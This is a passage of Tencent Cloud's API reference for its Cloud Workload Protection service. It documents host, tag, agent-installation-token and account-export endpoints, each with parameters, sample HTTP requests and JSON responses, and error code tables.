"RegionNameEn": "South China (Guangzhou)"
```

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```
}
],
"BM": [
{
"Region": "ap-guangzhou",
"RegionName": "South China (Guangzhou)",
"RegionId": "1",
"RegionCode": "gz",
"RegionNameEn": "South China (Guangzhou)"
}
],
"LH": [
{
"Region": "ap-guangzhou",
"RegionName": "South China (Guangzhou)",
"RegionId": "1",
"RegionCode": "gz",
"RegionNameEn": "South China (Guangzhou)"
}
],
"ECM": [
{
"Region": "ap-guangzhou",
"RegionName": "South China (Guangzhou)",
"RegionId": "1",
"RegionCode": "gz",
"RegionNameEn": "South China (Guangzhou)"
}
],
"Other": [
{
"Region": "ap-others",
"RegionName": "Other regions (other)",
"RegionId": "47",
"RegionCode": "others",
"RegionNameEn": "South China (Guangzhou)"
}
],
"ALL": [
{
"Region": "ap-guangzhou",
"RegionName": "South China (Guangzhou)",
"RegionId": "1",
"RegionCode": "gz",
"RegionNameEn": "South China (Guangzhou)"
}
],
```


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```
"RequestId": "3d4ffdf0-f350-c3ea-d09c-3f5313e044fd"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeMachineOsList

Last updated：2025-03-11 23:00:07

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the machine operating system list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineOsList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
List	Array of OsName	Operating system list

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Operating System List of a Machine

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachineOsList
<common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
{
"Name": "Linux",
"MachineOSType": 1
}
],
"RequestId": "ec6c0e16-465e-4d40-8926-823b26bd6b8s"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeMachineLicenseDetail

Last updated：2024-12-06 15:41:47

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the machine authorization information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineLicenseDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuids.N	Yes	Array of String	Host QUUID

3. Output Parameters

Parameter Name	Type	Description

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MachineLicense	Array of MachineLicenseDetail	Authorization information Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachineLicenseDetail
<Common request parameters>

{
"Quuids": [
"111"
]
}
```

Output Example

```
{
"Response": {
"MachineLicense": [
{
"Quuid": "e5b4724c-49af-46ab-bd84-cdbae897e7e0",
"PayMode": 1,
"ResourceId": "testid",
"SourceType": 1,
"InquireKey": "yunjing-vip"
}
],
```

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```
"RequestId": "12e44a0c-9da1-4600-9196-6e27308aeef6",
"TotalCount": 0
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.

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DescribeMachinesSimple

Last updated：2025-03-11 23:00:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of hosts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachinesSimple.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
MachineType	Yes	String	Type of the machine's zone CVM: Cloud Virtual Machine BM: BM ECM: Edge Computing Machine LH: Lighthouse Other: Hybrid Cloud Zone
MachineRegion	Yes	String	Machine region. For example, ap-guangzhou and ap-shanghai.
Limit	No	Integer	Number of entries to be returned. Default value: 10. Maximum value: 100.

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Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filtering criteria • Keywords - String - required: no - keywords for querying • Version - String required: no - current protection edition (PRO_VERSION: Pro Edition | BASIC_VERSION: Basic Edition | Flagship: Ultimate Edition | ProtectedMachines: Pro + Ultimate Editions | UnFlagship: Non-Ultimate Edition | PRO_POST_PAY: Pro Edition in pay-as-you-go mode | PRO_PRE_PAY: Pro Edition in monthly subscription mode) • TagId - String - required: no - tag ID
ProjectIds.N	No	Array of Integer	ID list of businesses to which machines belong

3. Output Parameters

Parameter Name	Type	Description
Machines	Array of MachineSimple	Host list
TotalCount	Integer	Number of Hosts
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Hosts in a Specific Region

This example shows you how to obtain the list of hosts in a specific region.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachinesSimple
```

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```
<Common request parameters>

{
"Limit": "10",
"MachineRegion": "ap-shanghai",
"MachineType": "CVM",
"Filters": [
{
"Values": [
"10.0.1.1"
],
"Name": "Keywords"
}
],
"Offset": "0"
}
```

Output Example


```
{
"Response": {
"Machines": [
{
"CloudTags": [],
"InstanceId": "i-uf6iskfrpy4g3xg2k1jm",
"InstanceState": "EXPIRED",
"IsProVersion": true,
"KernelVersion": "0.1.1",
"LicenseOrder": {
"LicenseId": 1,
"LicenseType": 1,
"ResourceId": "uf6iskfrpy4g3xg2k1jm",
"SourceType": 1,
"Status": 1
},
"MachineIp": "10.0.0.11",
"MachineName": "test-name",
"MachineOs": "Windows Server 2022 Data Center Edition 64-bit Chinese Edition",
"MachineType": "CVM",
"MachineWanIp": "110.84.0.11",
"PayMode": "PREPAY",
"ProjectId": 0,
"ProtectType": "BASIC_VERSION",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"RegionInfo": {
"Region": "ap-guangzhou",
```


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```
"RegionCode": "gz",
"RegionId": 1,
"RegionName": "test-name",
"RegionNameEn": "test-name"
},
"Tag": [
{
"Name": "test-name",
"Rid": 0,
"TagId": 1
}
],
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeDirectConnectInstallCommand

Last updated：2024-12-06 15:41:51

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain DC agent installation command, including the token.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeDirectConnectInstallCommand.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
RegionCode	Yes	String	Region identifier
VpcId	Yes	String	VPC ID
ExpireDate	Yes	Date	Command expiration time

3. Output Parameters

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Parameter Name	Type	Description
Ip	String	IP address for the installation command
Token	String	Token for the installation command
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Cleaning Host Information

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeDirectConnectInstallCommand
<Common request parameters>

{
"RegionCode": "xx",
"VpcId": 1,
"ExpireDate": "2020-09-22"
}
```

Output Example

```
{
"Response": {
"Ip": "10.0.0.11",
"Token": "708cae4cf814c3deda4208da228fad4e",
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```

5. Developer Resources

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SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
UnsupportedOperation	The operation is not supported.

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DescribeAgentInstallationToken

Last updated：2024-12-06 15:42:13

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the token for installing the agent in a hybrid cloud environment.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAgentInstallationToken.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ExpireDate	Yes	String	Token expiration time

3. Output Parameters

Parameter Name	Type	Description
Token	String	Installation command token

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 DescribeAgentInstallationToken

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAgentInstallationToken
<Common request parameters>

{
"ExpireDate": "xx"
}
```

Output Example

```
{
"Response": {
"Token": "12341234",
"RequestId": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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RemoveMachine

Last updated：2024-12-06 15:41:33

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete all records of the host. Currently, it only supports non-Tencent Cloud hosts, and the host needs to be offline.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: RemoveMachine.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	Host UUID
Quuid	Yes	String	Host QUUID

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Clearing Host Information

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: RemoveMachine
<Common request parameters>

{
"Uuid": "xx",
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"RequestId": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.
UnsupportedOperation	The operation is not supported.

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DescribeHostInfo

Last updated：2024-12-06 15:41:49

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the host and tag information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeHostInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
QuuidList.N	No	Array of String	Host QUUID array
Uuids.N	No	Array of String	UUIDs for querying. Leave this parameter blank if QUUIDs are used for querying.

3. Output Parameters

Parameter	Type	Description

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Name		
HostInfoList	Array of HostTagInfo	Host and tag information Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Host Information and Tag Information

This example shows you how to query the host information by a host QUUID array.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeHostInfo
&QuuidList.0="1"
&<Common request parameters>
```

Output Example

```
{
"Response": {
"HostInfoList": [
{
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"TagList": [
"tag"
],
"HostIp": "10.0.0.11",
"AliasName": "test-name",
"MachineWanIp": "110.84.0.11",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"KernelVersion": "0.1.1",
"MachineStatus": "ONLINE",
"ProtectType": "BASIC_VERSION",
"VulNum": 0,
"CloudTags": [],
"InstanceID": "ins-aj28fjz"
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
```

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```
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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EditTags

Last updated：2024-12-06 15:41:42

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add or edit tags.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: EditTags.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	Yes	String	Tag name
Id	No	Integer	Tag ID
Quuids.N	No	Array of String	Quuid

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding/Editing Tags

This example shows you how to add and edit tags.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=EditTags
&Id=1
&Name= Tag name
&Quuids.0=xxx
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
InvalidParameterValue.TagNameLengthLimit	The tag name cannot exceed 15 characters.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DescribeTags

Last updated：2024-12-06 15:41:43

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain all host tags.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeTags.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
MachineType	No	String	CVM type • CVM: indicates Cloud Virtual Machine • BM: indicates Blackstone Physical Machine • ECM: indicates Edge Computing Server • LH: indicates Tencent Cloud Lighthouse • Other: indicates hybrid CVMs
MachineRegion	No	String	Region where the machine is located, such as ap-guangzhou.
Filters.N	No	Array of Filters	Filter criteria • Keywords - String - required: no - query by keywords (machine name/machine IP)

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			• Status - String - required: no - client online status (OFFLINE: offline | ONLINE: online | UNINSTALLED: uninstalled | SHUTDOWN: shut down) • Version - String - required: no - current protection version (PRO_VERSION: Professional edition | BASIC_VERSION: Basic edition) • Risk - String - required: no - risky host (yes) • Os - String - required: no - operating system (DescribeMachineOsList API value) Each filtering criterion supports only one value; queries of multiple values with OR relationship are not supported.

3. Output Parameters

Parameter Name	Type	Description
List	Array of Tag	List information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining All Host Tags

This example shows you how to obtain all host tags.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeTags
<Common request parameters>

{}
```

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Output Example

```
{
"Response": {
"List": [
{
"Id": 2,
"Name": "Tag Name",
"Count": 123
}
],
"RequestId": "b12a5e5a-9393-453f-a4d9-b42de0b2bcec"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteTags

Last updated：2024-12-06 15:42:14

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete tags.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteTags.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Tag ID (maximum: 100)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Tags

This example shows you how to delete tags.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteTags
<Common request parameters>

{
"Ids": [
1
]
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter.ParsingError	Incorrect parameter parsing.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteMachineTag

Last updated：2024-12-06 15:42:15

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete tags associated with the server.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteMachineTag.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Rid	Yes	Integer	Associated tag ID

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Server Associated Tag

This example shows you how to delete server associated tag.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteMachineTag
<Common request parameters>

{
"Rid": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "b12a5e5a-9393-453f-a4d9-b42de0b2bcec"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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UpdateMachineTags

Last updated：2024-12-06 15:41:32

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of tags associated with machines.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: UpdateMachineTags.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Machine QUUID
TagIds.N	No	Array of Integer	Tag ID. This operation will overwrite the existing Tag list.
MachineRegion	No	String	Server region. For example, ap-guangzhou.
MachineArea	No	String	Server type (CVM|BM|ECM|LH|Other)

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3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Associating Machine Tag List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: UpdateMachineTags
<Common request parameters>

{
"Quuid": "xxxx",
"TagIds": [
1
]
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
ResourceNotFound	The resource does not exist.

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DescribeTagMachines

Last updated：2024-12-06 15:41:43

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the server information associated with the specified tag.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeTagMachines.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Tag ID

3. Output Parameters

Parameter Name	Type	Description
List	Array of	List data

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	TagMachine	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Servers Associated with a Specified Tag

This example shows you how to obtain servers associated with a specified tag.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeTagMachines
&Id=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ExportAssetUserList

Last updated：2024-12-06 15:41:36

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the account list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetUserList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of Filter	Filter criteria • Name - String - whether required: no - account name • Uid - uint64 - whether required: no - Uid • Guid - uint64 - whether required: no - Guid • LoginTimeStart - String - whether required: no - start time, such as 2021-01-11 • LoginTimeEnd - String - whether required: no - end time, such as 2021-01-11 • LoginType - uint64 - whether required: no - 0 - not allowed to log in; 1 - only key-based log-in allowed; 2 - only password-based log-in allowed; 3 -

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			both key-based and password-based log-in allowed (Linux only) • OsType - String - whether required: no - Windows or Linux • Status - uint64 - whether required: no - account status: 0 - disabled; 1 - enabled • Type - uint64 - whether required: no - account type: 0 - guest user; 1 - standard user; 2 - administrator user (Windows Only) • IsDomain - uint64 - whether required: no - whether a domain account: 0 - no; 1 - yes (Windows only) • IsRoot - uint64 - whether required: no - whether there is root permission: 0 - no; 1 - yes (Linux only) • IsSudo - uint64 - whether required: no - whether there is sudo permission: 0 - no; 1 - yes (Linux only) • IsSshLogin - uint64 - whether required: no - whether to use ssh log-in: 0 - no; 1 - yes (Linux only) • ShellLoginStatus - uint64 - whether required: no - whether to use shell log-in: 0 - no; 1 - yes (Linux only) • PasswordStatus - uint64 - whether required: no - password status: 1 - normal; 2 - expiring soon; 3 - expired; 4 - locked (Linux only)
